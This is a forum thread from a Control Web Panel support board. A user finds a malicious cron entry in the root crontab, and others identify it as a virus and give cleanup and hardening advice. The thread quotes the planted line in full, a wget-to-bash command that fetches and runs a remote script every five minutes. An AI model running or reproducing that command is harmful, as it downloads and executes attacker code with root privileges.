Control Web Panel

WebPanel => Information => Topic started by: sminozzi on December 07, 2023, 01:37:12 PM

Title: Connection refused from ffmpeg.pro/cwp2|bash
Post by: sminozzi on December 07, 2023, 01:37:12 PM

Hi,
I'm receiving  a lot of emails about fail to connect to ffmpeg.pro/cwp2|bash'
Subject: Cron <root@vmixxxxx> /bin/sh -c 'wget -qO- ffmpeg.pro/cwp2|bash'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (7) Failed connect to 46.101.121.159:443; Connection refused
Regards,
Bill

Title: Re: Connection refused from ffmpeg.pro/cwp2|bash
Post by: overseer on December 07, 2023, 02:26:27 PM

Is ffmpeg pro something you intentionally installed? The IP address wget is attempting to reach is in Frankfurt, Germany (Digital Ocean).

Title: Re: Connection refused from ffmpeg.pro/cwp2|bash
Post by: sminozzi on December 08, 2023, 12:23:17 PM

No, I didn't install it.

I found this line at top of my cronjob file. (var/spool/cron/root)
*/5 * * * * /bin/sh -c 'wget -qO- ffmpeg.pro/cwp2|bash'

I haven't installed any software recently; I only did the updates recommended by CWP.

Title: Re: Connection refused from ffmpeg.pro/cwp2|bash
Post by: rcschaff on December 08, 2023, 03:42:18 PM

Delete that line mate.  And run a virus check on your server.  That is not part of CWP, and was not issued in any update they did.  That script is indeed a virus.

Also secure your ssh.  I'd recommend only allowing cert authentication.

Make sure root is not allowed to log in as ftp.  Also check all software that is run by the root user, and if possibly, DO NOT run any as root.

Title: Re: Connection refused from ffmpeg.pro/cwp2|bash
Post by: sminozzi on December 10, 2023, 12:54:26 PM

I did.
Thanks for the suggestion.